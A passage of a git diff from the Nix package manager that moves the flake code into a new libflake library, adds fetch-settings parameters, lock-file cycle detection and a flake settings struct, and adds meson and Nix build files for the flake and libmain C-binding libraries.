std::nullopt; + } + + std::string fragment; + std::swap(fragment, parsedURL.fragment); + + auto input = fetchers::Input::fromURL(fetchSettings, parsedURL, isFlake); + input.parent = baseDir; + + return std::make_pair( + FlakeRef(std::move(input), getOr(parsedURL.query, "dir", "")), + fragment); +} + +std::pair parseFlakeRefWithFragment( + const fetchers::Settings & fetchSettings, + const std::string & url, + const std::optional & baseDir, + bool allowMissing, + bool isFlake) +{ + using namespace fetchers; + + std::smatch match; + + if (auto res = parseFlakeIdRef(fetchSettings, url, isFlake)) { + return *res; + } else if (auto res = parseURLFlakeRef(fetchSettings, url, baseDir, isFlake)) { + return *res; + } else { + return parsePathFlakeRefWithFragment(fetchSettings, url, baseDir, allowMissing, isFlake); + } +} + +std::optional> maybeParseFlakeRefWithFragment( + const fetchers::Settings & fetchSettings, + const std::string & url, const std::optional & baseDir) +{ + try { + return parseFlakeRefWithFragment(fetchSettings, url, baseDir); + } catch (Error & e) { + return {}; + } +} + +FlakeRef FlakeRef::fromAttrs( + const fetchers::Settings & fetchSettings, + const fetchers::Attrs & attrs) +{ + auto attrs2(attrs); + attrs2.erase("dir"); + return FlakeRef( + fetchers::Input::fromAttrs(fetchSettings, std::move(attrs2)), + fetchers::maybeGetStrAttr(attrs, "dir").value_or("")); +} + +std::pair FlakeRef::fetchTree(ref store) const +{ + auto [storePath, lockedInput] = input.fetchToStore(store); + return {std::move(storePath), FlakeRef(std::move(lockedInput), subdir)}; +} + +std::tuple parseFlakeRefWithFragmentAndExtendedOutputsSpec( + const fetchers::Settings & fetchSettings, + const std::string & url, + const std::optional & baseDir, + bool allowMissing, + bool isFlake) +{ + auto [prefix, extendedOutputsSpec] = ExtendedOutputsSpec::parse(url); + auto [flakeRef, fragment] = parseFlakeRefWithFragment( + fetchSettings, + std::string { prefix }, baseDir, allowMissing, isFlake); + return {std::move(flakeRef), fragment, std::move(extendedOutputsSpec)}; +} + +std::regex flakeIdRegex(flakeIdRegexS, std::regex::ECMAScript); + +} diff --git a/src/libexpr/flake/flakeref.hh b/src/libflake/flake/flakeref.hh similarity index 53% rename from src/libexpr/flake/flakeref.hh rename to src/libflake/flake/flakeref.hh index a36d852a8..1064538a7 100644 --- a/src/libexpr/flake/flakeref.hh +++ b/src/libflake/flake/flakeref.hh @@ -1,11 +1,11 @@ #pragma once +///@file + +#include #include "types.hh" -#include "hash.hh" #include "fetchers.hh" -#include "path-with-outputs.hh" - -#include +#include "outputs-spec.hh" namespace nix { @@ -13,7 +13,8 @@ class Store; typedef std::string FlakeId; -/* A flake reference specifies how to fetch a flake or raw source +/** + * A flake reference specifies how to fetch a flake or raw source * (e.g. from a Git repository). It is created from a URL-like syntax * (e.g. 'github:NixOS/patchelf'), an attrset representation (e.g. '{ * type="github"; owner = "NixOS"; repo = "patchelf"; }'), or a local @@ -32,17 +33,20 @@ typedef std::string FlakeId; * be lazy), but the fetcher can be invoked at any time via the * FlakeRef to ensure the store is populated with this input. */ - struct FlakeRef { - /* Fetcher-specific representation of the input, sufficient to - perform the fetch operation. */ + /** + * Fetcher-specific representation of the input, sufficient to + * perform the fetch operation. + */ fetchers::Input input; - /* sub-path within the fetched input that represents this input */ + /** + * sub-path within the fetched input that represents this input + */ Path subdir; - bool operator==(const FlakeRef & other) const; + bool operator ==(const FlakeRef & other) const = default; FlakeRef(fetchers::Input && input, const Path & subdir) : input(std::move(input)), subdir(subdir) @@ -55,36 +59,62 @@ struct FlakeRef FlakeRef resolve(ref store) const; - static FlakeRef fromAttrs(const fetchers::Attrs & attrs); + static FlakeRef fromAttrs( + const fetchers::Settings & fetchSettings, + const fetchers::Attrs & attrs); - std::pair fetchTree(ref store) const; + std::pair fetchTree(ref store) const; }; std::ostream & operator << (std::ostream & str, const FlakeRef & flakeRef); +/** + * @param baseDir Optional [base directory](https://nixos.org/manual/nix/unstable/glossary#gloss-base-directory) + */ FlakeRef parseFlakeRef( + const fetchers::Settings & fetchSettings, const std::string & url, const std::optional & baseDir = {}, bool allowMissing = false, bool isFlake = true); +/** + * @param baseDir Optional [base directory](https://nixos.org/manual/nix/unstable/glossary#gloss-base-directory) + */ std::optional maybeParseFlake( - const std::string & url, const std::optional & baseDir = {}); + const fetchers::Settings & fetchSettings, + const std::string & url, + const std::optional & baseDir = {}); +/** + * @param baseDir Optional [base directory](https://nixos.org/manual/nix/unstable/glossary#gloss-base-directory) + */ std::pair parseFlakeRefWithFragment( + const fetchers::Settings & fetchSettings, const std::string & url, const std::optional & baseDir = {}, bool allowMissing = false, bool isFlake = true); +/** + * @param baseDir Optional [base directory](https://nixos.org/manual/nix/unstable/glossary#gloss-base-directory) + */ std::optional> maybeParseFlakeRefWithFragment( - const std::string & url, const std::optional & baseDir = {}); + const fetchers::Settings & fetchSettings, + const std::string & url, + const std::optional & baseDir = {}); -std::tuple parseFlakeRefWithFragmentAndOutputsSpec( +/** + * @param baseDir Optional [base directory](https://nixos.org/manual/nix/unstable/glossary#gloss-base-directory) + */ +std::tuple parseFlakeRefWithFragmentAndExtendedOutputsSpec( + const fetchers::Settings & fetchSettings, const std::string & url, const std::optional & baseDir = {}, bool allowMissing = false, bool isFlake = true); +const static std::string flakeIdRegexS = "[a-zA-Z][a-zA-Z0-9_-]*"; +extern std::regex flakeIdRegex; } diff --git a/src/libexpr/flake/lockfile.cc b/src/libflake/flake/lockfile.cc similarity index 82% rename from src/libexpr/flake/lockfile.cc rename to src/libflake/flake/lockfile.cc index a3ed90e1f..80f14ff6f 100644 --- a/src/libexpr/flake/lockfile.cc +++ b/src/libflake/flake/lockfile.cc @@ -1,14 +1,20 @@ +#include + #include "lockfile.hh" #include "store-api.hh" -#include "url-parts.hh" +#include #include +#include #include +#include "strings.hh" + namespace nix::flake { -FlakeRef getFlakeRef( +static FlakeRef getFlakeRef( + const fetchers::Settings & fetchSettings, const nlohmann::json & json, const char * attr, const char * info) @@ -24,19 +30,21 @@ FlakeRef getFlakeRef( attrs.insert_or_assign(k.first, k.second); } } - return FlakeRef::fromAttrs(attrs); + return FlakeRef::fromAttrs(fetchSettings, attrs); } throw Error("attribute '%s' missing in lock file", attr); } -LockedNode::LockedNode(const nlohmann::json & json) - : lockedRef(getFlakeRef(json, "locked", "info")) // FIXME: remove "info" - , originalRef(getFlakeRef(json, "original", nullptr)) +LockedNode::LockedNode( + const fetchers::Settings & fetchSettings, + const nlohmann::json & json) + : lockedRef(getFlakeRef(fetchSettings, json, "locked", "info")) // FIXME: remove "info" + , originalRef(getFlakeRef(fetchSettings, json, "original", nullptr)) , isFlake(json.find("flake") != json.end() ? (bool) json["flake"] : true) { if (!lockedRef.input.isLocked()) - throw Error("lock file contains mutable lock '%s'", + throw Error("lock file contains unlocked input '%s'", fetchers::attrsToJSON(lockedRef.input.toAttrs())); } @@ -45,16 +53,26 @@ StorePath LockedNode::computeStorePath(Store & store) const return lockedRef.input.computeStorePath(store); } -std::shared_ptr LockFile::findInput(const InputPath & path) -{ + +static std::shared_ptr doFind(const ref& root, const InputPath & path, std::vector& visited) { auto pos = root; + auto found = std::find(visited.cbegin(), visited.cend(), path); + + if(found != visited.end()) { + std::vector cycle; + std::transform(found, visited.cend(), std::back_inserter(cycle), printInputPath); + cycle.push_back(printInputPath(path)); + throw Error("follow cycle detected: [%s]", concatStringsSep(" -> ", cycle)); + } + visited.push_back(path); + for (auto & elem : path) { if (auto i = get(pos->inputs, elem)) { if (auto node = std::get_if<0>(&*i)) pos = *node; else if (auto follows = std::get_if<1>(&*i)) { - if (auto p = findInput(*follows)) + if (auto p = doFind(root, *follows, visited)) pos = ref(p); else return {}; @@ -66,8 +84,18 @@ std::shared_ptr LockFile::findInput(const InputPath & path) return pos; } -LockFile::LockFile(const nlohmann::json & json, const Path & path) +std::shared_ptr LockFile::findInput(const InputPath & path) { + std::vector visited; + return doFind(root, path, visited); +} + +LockFile::LockFile( + const fetchers::Settings & fetchSettings, + std::string_view contents, std::string_view path) +{ + auto json = nlohmann::json::parse(contents); + auto version = json.value("version", 0); if (version < 5 || version > 7) throw Error("lock file '%s' has unsupported version %d", path, version); @@ -89,11 +117,11 @@ LockFile::LockFile(const nlohmann::json & json, const Path & path) std::string inputKey = i.value(); auto k = nodeMap.find(inputKey); if (k == nodeMap.end()) { - auto nodes = json["nodes"]; + auto & nodes = json["nodes"]; auto jsonNode2 = nodes.find(inputKey); if (jsonNode2 == nodes.end()) throw Error("lock file references missing node '%s'", inputKey); - auto input = make_ref(*jsonNode2); + auto input = make_ref(fetchSettings, *jsonNode2); k = nodeMap.insert_or_assign(inputKey, input).first; getInputs(*input, *jsonNode2); } @@ -116,10 +144,10 @@ LockFile::LockFile(const nlohmann::json & json, const Path & path) // a bit since we don't need to worry about cycles. } -nlohmann::json LockFile::toJSON() const +std::pair LockFile::toJSON() const { nlohmann::json nodes; - std::unordered_map, std::string> nodeKeys; + KeyMap nodeKeys; std::unordered_set keys; std::function node)> dumpNode; @@ -176,32 +204,21 @@ nlohmann::json LockFile::toJSON() const json["root"] = dumpNode("root", root); json["nodes"] = std::move(nodes); - return json; + return {json, std::move(nodeKeys)}; } -std::string LockFile::to_string() const +std::pair LockFile::to_string() const { - return toJSON().dump(2); -} - -LockFile LockFile::read(const Path & path) -{ - if (!pathExists(path)) return LockFile(); - return LockFile(nlohmann::json::parse(readFile(path)), path); + auto [json, nodeKeys] = toJSON(); + return {json.dump(2), std::move(nodeKeys)}; } std::ostream & operator <<(std::ostream & stream, const LockFile & lockFile) { - stream << lockFile.toJSON().dump(2); + stream << lockFile.toJSON().first.dump(2); return stream; } -void LockFile::write(const Path & path) const -{ - createDirs(dirOf(path)); - writeFile(path, fmt("%s\n", *this)); -} - std::optional LockFile::isUnlocked() const { std::set> nodes; @@ -219,7 +236,7 @@ std::optional LockFile::isUnlocked() const visit(root); for (auto & i : nodes) { - if (i == root) continue; + if (i == ref(root)) continue; auto node = i.dynamic_pointer_cast(); if (node && !node->lockedRef.input.isLocked()) return node->lockedRef; @@ -231,7 +248,7 @@ std::optional LockFile::isUnlocked() const bool LockFile::operator ==(const LockFile & other) const { // FIXME: slow - return toJSON() == other.toJSON(); + return toJSON().first == other.toJSON().first; } InputPath parseInputPath(std::string_view s) @@ -340,7 +357,7 @@ void LockFile::check() for (auto & [inputPath, input] : inputs) { if (auto follows = std::get_if<1>(&input)) { - if (!follows->empty() && !get(inputs, *follows)) + if (!follows->empty() && !findInput(*follows)) throw Error("input '%s' follows a non-existent input '%s'", printInputPath(inputPath), printInputPath(*follows)); diff --git a/src/libexpr/flake/lockfile.hh b/src/libflake/flake/lockfile.hh similarity index 65% rename from src/libexpr/flake/lockfile.hh rename to src/libflake/flake/lockfile.hh index 02e9bdfbc..841931c11 100644 --- a/src/libexpr/flake/lockfile.hh +++ b/src/libflake/flake/lockfile.hh @@ -1,4 +1,5 @@ #pragma once +///@file #include "flakeref.hh" @@ -15,9 +16,11 @@ typedef std::vector InputPath; struct LockedNode; -/* A node in the lock file. It has outgoing edges to other nodes (its - inputs). Only the root node has this type; all other nodes have - type LockedNode. */ +/** + * A node in the lock file. It has outgoing edges to other nodes (its + * inputs). Only the root node has this type; all other nodes have + * type LockedNode. + */ struct Node : std::enable_shared_from_this { typedef std::variant, InputPath> Edge; @@ -27,7 +30,9 @@ struct Node : std::enable_shared_from_this virtual ~Node() { } }; -/* A non-root node in the lock file. */ +/** + * A non-root node in the lock file. + */ struct LockedNode : Node { FlakeRef lockedRef, originalRef; @@ -40,7 +45,9 @@ struct LockedNode : Node : lockedRef(lockedRef), originalRef(originalRef), isFlake(isFlake) { } - LockedNode(const nlohmann::json & json); + LockedNode( + const fetchers::Settings & fetchSettings, + const nlohmann::json & json); StorePath computeStorePath(Store & store) const; }; @@ -50,19 +57,20 @@ struct LockFile ref root = make_ref(); LockFile() {}; - LockFile(const nlohmann::json & json, const Path & path); + LockFile( + const fetchers::Settings & fetchSettings, + std::string_view contents, std::string_view path); typedef std::map, std::string> KeyMap; - nlohmann::json toJSON() const; + std::pair toJSON() const; - std::string to_string() const; + std::pair to_string() const; - static LockFile read(const Path & path); - - void write(const Path & path) const; - - /* Check whether this lock file has any unlocked inputs. */ + /** + * Check whether this lock file has any unlocked inputs. If so, + * return one. + */ std::optional isUnlocked() const; bool operator ==(const LockFile & other) const; @@ -73,7 +81,9 @@ struct LockFile static std::string diff(const LockFile & oldLocks, const LockFile & newLocks); - /* Check that every 'follows' input target exists. */ + /** + * Check that every 'follows' input target exists. + */ void check(); }; diff --git a/src/libflake/flake/nix-flake.pc.in b/src/libflake/flake/nix-flake.pc.in new file mode 100644 index 000000000..10c52f5e9 --- /dev/null +++ b/src/libflake/flake/nix-flake.pc.in @@ -0,0 +1,10 @@ +prefix=@prefix@ +libdir=@libdir@ +includedir=@includedir@ + +Name: Nix +Description: Nix Package Manager +Version: @PACKAGE_VERSION@ +Requires: nix-util nix-store nix-expr +Libs: -L${libdir} -lnixflake +Cflags: -I${includedir}/nix -std=c++2a diff --git a/src/libflake/flake/settings.cc b/src/libflake/flake/settings.cc new file mode 100644 index 000000000..6a0294e62 --- /dev/null +++ b/src/libflake/flake/settings.cc @@ -0,0 +1,7 @@ +#include "flake/settings.hh" + +namespace nix::flake { + +Settings::Settings() {} + +} diff --git a/src/libflake/flake/settings.hh b/src/libflake/flake/settings.hh new file mode 100644 index 000000000..fee247a7d --- /dev/null +++ b/src/libflake/flake/settings.hh @@ -0,0 +1,50 @@ +#pragma once +///@file + +#include "types.hh" +#include "config.hh" +#include "util.hh" + +#include +#include + +#include + +namespace nix::flake { + +struct Settings : public Config +{ + Settings(); + + Setting useRegistries{ + this, + true, + "use-registries", + "Whether to use flake registries to resolve flake references.", + {}, + true, + Xp::Flakes}; + + Setting acceptFlakeConfig{ + this, + false, + "accept-flake-config", + "Whether to accept nix configuration from a flake without prompting.", + {}, + true, + Xp::Flakes}; + + Setting commitLockFileSummary{ + this, + "", + "commit-lock-file-summary", + R"( + The commit summary to use when committing changed flake lock files. If + empty, the summary is generated based on the action performed. + )", + {"commit-lockfile-summary"}, + true, + Xp::Flakes}; +}; + +} diff --git a/src/libflake/flake/url-name.cc b/src/libflake/flake/url-name.cc new file mode 100644 index 000000000..d62b34552 --- /dev/null +++ b/src/libflake/flake/url-name.cc @@ -0,0 +1,46 @@ +#include "url-name.hh" +#include +#include + +namespace nix { + +static const std::string attributeNamePattern("[a-zA-Z0-9_-]+"); +static const std::regex lastAttributeRegex("^((?:" + attributeNamePattern + "\\.)*)(" + attributeNamePattern +")(\\^.*)?$"); +static const std::string pathSegmentPattern("[a-zA-Z0-9_-]+"); +static const std::regex lastPathSegmentRegex(".*/(" + pathSegmentPattern +")"); +static const std::regex secondPathSegmentRegex("(?:" + pathSegmentPattern + ")/(" + pathSegmentPattern +")(?:/.*)?"); +static const std::regex gitProviderRegex("github|gitlab|sourcehut"); +static const std::regex gitSchemeRegex("git($|\\+.*)"); + +std::optional getNameFromURL(const ParsedURL & url) +{ + std::smatch match; + + /* If there is a dir= argument, use its value */ + if (url.query.count("dir") > 0) + return url.query.at("dir"); + + /* If the fragment isn't a "default" and contains two attribute elements, use the last one */ + if (std::regex_match(url.fragment, match, lastAttributeRegex) + && match.str(1) != "defaultPackage." + && match.str(2) != "default") { + return match.str(2); + } + + /* If this is a github/gitlab/sourcehut flake, use the repo name */ + if (std::regex_match(url.scheme, gitProviderRegex) && std::regex_match(url.path, match, secondPathSegmentRegex)) + return match.str(1); + + /* If it is a regular git flake, use the directory name */ + if (std::regex_match(url.scheme, gitSchemeRegex) && std::regex_match(url.path, match, lastPathSegmentRegex)) + return match.str(1); + + /* If there is no fragment, take the last element of the path */ + if (std::regex_match(url.path, match, lastPathSegmentRegex)) + return match.str(1); + + /* If even that didn't work, the URL does not contain enough info to determine a useful name */ + return {}; +} + +} diff --git a/src/libflake/flake/url-name.hh b/src/libflake/flake/url-name.hh new file mode 100644 index 000000000..6f32754d2 --- /dev/null +++ b/src/libflake/flake/url-name.hh @@ -0,0 +1,20 @@ +#include "url.hh" +#include "url-parts.hh" +#include "util.hh" +#include "split.hh" + +namespace nix { + +/** + * Try to extract a reasonably unique and meaningful, human-readable + * name of a flake output from a parsed URL. + * When nullopt is returned, the callsite should use information available + * to it outside of the URL to determine a useful name. + * This is a heuristic approach intended for user interfaces. + * @return nullopt if the extracted name is not useful to identify a + * flake output, for example because it is empty or "default". + * Otherwise returns the extracted name. + */ +std::optional getNameFromURL(const ParsedURL & url); + +} diff --git a/src/libflake/local.mk b/src/libflake/local.mk new file mode 100644 index 000000000..5e604ef3a --- /dev/null +++ b/src/libflake/local.mk @@ -0,0 +1,22 @@ +libraries += libflake + +libflake_NAME = libnixflake + +libflake_DIR := $(d) + +libflake_SOURCES := $(wildcard $(d)/*.cc $(d)/flake/*.cc) + +# Not just for this library itself, but also for downstream libraries using this library + +INCLUDE_libflake := -I $(d) + +libflake_CXXFLAGS += $(INCLUDE_libutil) $(INCLUDE_libstore) $(INCLUDE_libfetchers) $(INCLUDE_libexpr) $(INCLUDE_libflake) + +libflake_LDFLAGS += $(THREAD_LDFLAGS) + +libflake_LIBS = libutil libstore libfetchers libexpr + +$(eval $(call install-file-in, $(buildprefix)$(d)/flake/nix-flake.pc, $(libdir)/pkgconfig, 0644)) + +$(foreach i, $(wildcard src/libflake/flake/*.hh), \ + $(eval $(call install-file-in, $(i), $(includedir)/nix/flake, 0644))) diff --git a/src/libflake/meson.build b/src/libflake/meson.build new file mode 100644 index 000000000..d2bb179df --- /dev/null +++ b/src/libflake/meson.build @@ -0,0 +1,77 @@ +project('nix-flake', 'cpp', + version : files('.version'), + default_options : [ + 'cpp_std=c++2a', + # TODO(Qyriad): increase the warning level + 'warning_level=1', + 'debug=true', + 'optimization=2', + 'errorlogs=true', # Please print logs for tests that fail + ], + meson_version : '>= 1.1', + license : 'LGPL-2.1-or-later', +) + +cxx = meson.get_compiler('cpp') + +subdir('build-utils-meson/deps-lists') + +deps_private_maybe_subproject = [ +] +deps_public_maybe_subproject = [ + dependency('nix-util'), + dependency('nix-store'), + dependency('nix-fetchers'), + dependency('nix-expr'), +] +subdir('build-utils-meson/subprojects') + +subdir('build-utils-meson/threads') + +nlohmann_json = dependency('nlohmann_json', version : '>= 3.9') +deps_public += nlohmann_json + +add_project_arguments( + # TODO(Qyriad): Yes this is how the autoconf+Make system did it. + # It would be nice for our headers to be idempotent instead. + '-include', 'config-util.hh', + '-include', 'config-store.hh', + # '-include', 'config-fetchers.h', + '-include', 'config-expr.hh', + language : 'cpp', +) + +subdir('build-utils-meson/diagnostics') + +sources = files( + 'flake/config.cc', + 'flake/flake.cc', + 'flake/flakeref.cc', + 'flake/lockfile.cc', + 'flake/settings.cc', + 'flake/url-name.cc', +) + +include_dirs = [include_directories('.')] + +headers = files( + 'flake/flake.hh', + 'flake/flakeref.hh', + 'flake/lockfile.hh', + 'flake/settings.hh', + 'flake/url-name.hh', +) + +this_library = library( + 'nixflake', + sources, + dependencies : deps_public + deps_private + deps_other, + prelink : true, # For C++ static initializers + install : true, +) + +install_headers(headers, subdir : 'nix', preserve_path : true) + +libraries_private = [] + +subdir('build-utils-meson/export') diff --git a/src/libflake/package.nix b/src/libflake/package.nix new file mode 100644 index 000000000..851adf07e --- /dev/null +++ b/src/libflake/package.nix @@ -0,0 +1,78 @@ +{ lib +, stdenv +, mkMesonDerivation +, releaseTools + +, meson +, ninja +, pkg-config + +, nix-util +, nix-store +, nix-fetchers +, nix-expr +, nlohmann_json +, libgit2 +, man + +# Configuration Options + +, version +}: + +let + inherit (lib) fileset; +in + +mkMesonDerivation (finalAttrs: { + pname = "nix-flake"; + inherit version; + + workDir = ./.; + fileset = fileset.unions [ + ../../build-utils-meson + ./build-utils-meson + ../../.version + ./.version + ./meson.build + (fileset.fileFilter (file: file.hasExt "cc") ./.) + (fileset.fileFilter (file: file.hasExt "hh") ./.) + ]; + + outputs = [ "out" "dev" ]; + + nativeBuildInputs = [ + meson + ninja + pkg-config + ]; + + propagatedBuildInputs = [ + nix-store + nix-util + nix-fetchers + nix-expr + nlohmann_json + ]; + + preConfigure = + # "Inline" .version so it's not a symlink, and includes the suffix. + # Do the meson utils, without modification. + '' + chmod u+w ./.version + echo ${version} > ../../.version + ''; + + env = lib.optionalAttrs (stdenv.isLinux && !(stdenv.hostPlatform.isStatic && stdenv.system == "aarch64-linux")) { + LDFLAGS = "-fuse-ld=gold"; + }; + + separateDebugInfo = !stdenv.hostPlatform.isStatic; + + hardeningDisable = lib.optional stdenv.hostPlatform.isStatic "pie"; + + meta = { + platforms = lib.platforms.unix ++ lib.platforms.windows; + }; + +}) diff --git a/src/libmain-c/.version b/src/libmain-c/.version new file mode 120000 index 000000000..b7badcd0c --- /dev/null +++ b/src/libmain-c/.version @@ -0,0 +1 @@ +../../.version \ No newline at end of file diff --git a/src/libmain-c/build-utils-meson b/src/libmain-c/build-utils-meson new file mode 120000 index 000000000..5fff21bab --- /dev/null +++ b/src/libmain-c/build-utils-meson @@ -0,0 +1 @@ +../../build-utils-meson \ No newline at end of file diff --git a/src/libmain-c/meson.build b/src/libmain-c/meson.build new file mode 100644 index 000000000..345382712 --- /dev/null +++ b/src/libmain-c/meson.build @@ -0,0 +1,86 @@ +project('nix-main-c', 'cpp', + version : files('.version'), + default_options : [ + 'cpp_std=c++2a', + # TODO(Qyriad): increase the warning level + 'warning_level=1', + 'debug=true', + 'optimization=2', + 'errorlogs=true', # Please print logs for tests that fail + ], + meson_version : '>= 1.1', + license : 'LGPL-2.1-or-later', +) + +cxx = meson.get_compiler('cpp') + +subdir('build-utils-meson/deps-lists') + +configdata = configuration_data() + +deps_private_maybe_subproject = [ + dependency('nix-util'), + dependency('nix-store'), + dependency('nix-main'), +] +deps_public_maybe_subproject = [ + dependency('nix-util-c'), + dependency('nix-store-c'), +] +subdir('build-utils-meson/subprojects') + +subdir('build-utils-meson/threads') + +# TODO rename, because it will conflict with downstream projects +configdata.set_quoted('PACKAGE_VERSION', meson.project_version()) + +config_h = configure_file( + configuration : configdata, + output : 'config-main.h', +) + +add_project_arguments( + # TODO(Qyriad): Yes this is how the autoconf+Make system did it. + # It would be nice for our headers to be idempotent instead. + + # From C++ libraries, only for internals + '-include', 'config-util.hh', + '-include', 'config-store.hh', + '-include', 'config-main.hh', + + # From C libraries, for our public, installed headers too + '-include', 'config-util.h', + '-include', 'config-store.h', + '-include', 'config-main.h', + language : 'cpp', +) + +subdir('build-utils-meson/diagnostics') + +sources = files( + 'nix_api_main.cc', +) + +include_dirs = [include_directories('.')] + +headers = [config_h] + files( + 'nix_api_main.h', +) + +subdir('build-utils-meson/export-all-symbols') + +this_library = library( + 'nixmainc', + sources, + dependencies : deps_public + deps_private + deps_other, + include_directories : include_dirs, + link_args: linker_export_flags, + prelink : true, # For C++ static initializers + install : true, +) + +install_headers(headers, subdir : 'nix', preserve_path : true) + +libraries_private = [] + +subdir('build-utils-meson/export') diff --git a/src/libmain-c/nix_api_main.cc b/src/libmain-c/nix_api_main.cc new file mode 100644 index 000000000..692d53f47 --- /dev/null +++ b/src/libmain-c/nix_api_main.cc @@ -0,0 +1,16 @@ +#include "nix_api_store.h" +#include "nix_api_store_internal.h" +#include "nix_api_util.h" +#include "nix_api_util_internal.h" + +#include "plugin.hh" + +nix_err nix_init_plugins(nix_c_context * context) +{ + if (context) + context->last_err_code = NIX_OK; + try { + nix::initPlugins(); + } + NIXC_CATCH_ERRS +} diff --git a/src/libmain-c/nix_api_main.h b/src/libmain-c/nix_api_main.h new file mode 100644 index 000000000..3957b992f --- /dev/null +++ b/src/libmain-c/nix_api_main.h @@ -0,0 +1,40 @@ +#ifndef NIX_API_MAIN_H +#define NIX_API_MAIN_H +/** + * @defgroup libmain libmain + * @brief C bindings for nix libmain + * + * libmain has misc utilities for CLI commands + * @{ + */ +/** @file + * @brief Main entry for the libmain C bindings + */ + +#include "nix_api_util.h" +#include + +#ifdef __cplusplus +extern "C" { +#endif +// cffi start + +/** + * @brief Loads the plugins specified in Nix's plugin-files setting. + * + * Call this once, after calling your desired init functions and setting + * relevant settings. + * + * @param[out] context Optional, stores error information + * @return NIX_OK if the initialization was successful, an error code otherwise. + */ +nix_err nix_init_plugins(nix_c_context * context); + +// cffi end +#ifdef __cplusplus +} +#endif +/** + * @} + */ +#endif // NIX_API_MAIN_H diff --git a/src/libmain-c/package.nix b/src/libmain-c/package.nix new file mode 100644 index 000000000..ce6f67300 --- /dev/null +++ b/src/libmain-c/package.nix @@ -0,0 +1,79 @@ +{ lib +, stdenv +, mkMesonDerivation +, releaseTools + +, meson +, ninja +, pkg-config + +, nix-util-c +, nix-store +, nix-store-c +, nix-main + +# Configuration Options + +, version +}: + +let + inherit (lib) fileset; +in + +mkMesonDerivation (finalAttrs: { + pname = "nix-main-c"; + inherit version; + + workDir = ./.; + fileset = fileset.unions [ + ../../build-utils-meson + ./build-utils-meson + ../../.version + ./.version + ./meson.build + # ./meson.options + (fileset.fileFilter (file: file.hasExt "cc") ./.) + (fileset.fileFilter (file: file.hasExt "hh") ./.) + (fileset.fileFilter (file: file.hasExt "h") ./.) + ]; + + outputs = [ "out" "dev" ]; + + nativeBuildInputs = [ + meson + ninja + pkg-config + ]; + + propagatedBuildInputs = [ + nix-util-c + nix-store + nix-store-c + nix-main + ]; + + preConfigure = + # "Inline" .version so it's not a symlink, and includes the suffix. + # Do the meson utils, without modification. + '' + chmod u+w ./.version + echo ${version} > ../../.version + ''; + + mesonFlags = [ + ]; + + env = lib.optionalAttrs (stdenv.isLinux && !(stdenv.hostPlatform.isStatic && stdenv.system == "aarch64-linux")) { + LDFLAGS = "-fuse-ld=gold"; + }; + + separateDebugInfo = !stdenv.hostPlatform.isStatic; + + hardeningDisable = lib.optional stdenv.hostPlatform.isStatic "pie"; + + meta = { + platforms = lib.platforms.unix ++ lib.platforms.windows; + }; + +}) diff --git a/src/libmain/.version b/src/libmain/.version new file mode 120000 index 000000000..b7badcd0c --- /dev/null +++ b/src/libmain/.version @@ -0,0 +1 @@ +../../.version \ No newline at end of file diff --git a/src/libmain/build-utils-meson b/src/libmain/build-utils-meson new file mode 120000 index 000000000..5fff21bab --- /dev/null +++ b/src/libmain/build-utils-meson @@ -0,0 +1 @@ +../../build-utils-meson \ No newline at end of file diff --git a/src/libmain/common-args.cc b/src/libmain/common-args.cc index f92920d18..768b2177c 100644 --- a/src/libmain/common-args.cc +++ b/src/libmain/common-args.cc @@ -1,6 +1,11 @@ #include "common-args.hh" +#include "args/root.hh" +#include "config-global.hh" #include "globals.hh" +#include "logging.hh" #include "loggers.hh" +#include "util.hh" +#include "plugin.hh" namespace nix { @@ -34,21 +39,21 @@ MixCommonArgs::MixCommonArgs(const std::string & programName) .description = "Set the Nix configuration setting *name* to *value* (overriding `nix.conf`).", .category = miscCategory, .labels = {"name", "value"}, - .handler = {[](std::string name, std::string value) { + .handler = {[this](std::string name, std::string value) { try { globalConfig.set(name, value); } catch (UsageError & e) { - if (!completions) + if (!getRoot().completions) warn(e.what()); } }}, - .completer = [](size_t index, std::string_view prefix) { + .completer = [](AddCompletions & completions, size_t index, std::string_view prefix) { if (index == 0) { std::map settings; globalConfig.getSettings(settings); for (auto & s : settings) if (hasPrefix(s.first, prefix)) - completions->add(s.first, fmt("Set the `%s` setting.", s.first)); + completions.add(s.first, fmt("Set the `%s` setting.", s.first)); } } }); diff --git a/src/libmain/common-args.hh b/src/libmain/common-args.hh index f180d83ce..c35406c3b 100644 --- a/src/libmain/common-args.hh +++ b/src/libmain/common-args.hh @@ -1,6 +1,8 @@ #pragma once +///@file #include "args.hh" +#include "repair-flag.hh" namespace nix { @@ -48,4 +50,21 @@ struct MixJSON : virtual Args } }; +struct MixRepair : virtual Args +{ + RepairFlag repair = NoRepair; + + MixRepair() + { + addFlag({ + .longName = "repair", + .description = + "During evaluation, rewrite missing or corrupted files in the Nix store. " + "During building, rebuild missing or corrupted store paths.", + .category = miscCategory, + .handler = {&repair, Repair}, + }); + } +}; + } diff --git a/src/libmain/local.mk b/src/libmain/local.mk index 99da95e27..d41c49dd7 100644 --- a/src/libmain/local.mk +++ b/src/libmain/local.mk @@ -5,8 +5,13 @@ libmain_NAME = libnixmain libmain_DIR := $(d) libmain_SOURCES := $(wildcard $(d)/*.cc) +ifdef HOST_UNIX + libmain_SOURCES += $(wildcard $(d)/unix/*.cc) +endif -libmain_CXXFLAGS += -I src/libutil -I src/libstore +INCLUDE_libmain := -I $(d) + +libmain_CXXFLAGS += $(INCLUDE_libutil) $(INCLUDE_libstore) $(INCLUDE_libmain) libmain_LDFLAGS += $(OPENSSL_LIBS) @@ -14,4 +19,4 @@ libmain_LIBS = libstore libutil libmain_ALLOW_UNDEFINED = 1 -$(eval $(call install-file-in, $(d)/nix-main.pc, $(libdir)/pkgconfig, 0644)) +$(eval $(call install-file-in, $(buildprefix)$(d)/nix-main.pc, $(libdir)/pkgconfig, 0644)) diff --git a/src/libmain/loggers.cc b/src/libmain/loggers.cc index cda5cb939..a4e0530c8 100644 --- a/src/libmain/loggers.cc +++ b/src/libmain/loggers.cc @@ -1,6 +1,6 @@ #include "loggers.hh" +#include "environment-variables.hh" #include "progress-bar.hh" -#include "util.hh" namespace nix { @@ -36,7 +36,7 @@ Logger * makeDefaultLogger() { return logger; } default: - abort(); + unreachable(); } } diff --git a/src/libmain/loggers.hh b/src/libmain/loggers.hh index f3c759193..e5721420c 100644 --- a/src/libmain/loggers.hh +++ b/src/libmain/loggers.hh @@ -1,4 +1,5 @@ #pragma once +///@file #include "types.hh" diff --git a/src/libmain/meson.build b/src/libmain/meson.build new file mode 100644 index 000000000..7fcadf06d --- /dev/null +++ b/src/libmain/meson.build @@ -0,0 +1,101 @@ +project('nix-main', 'cpp', 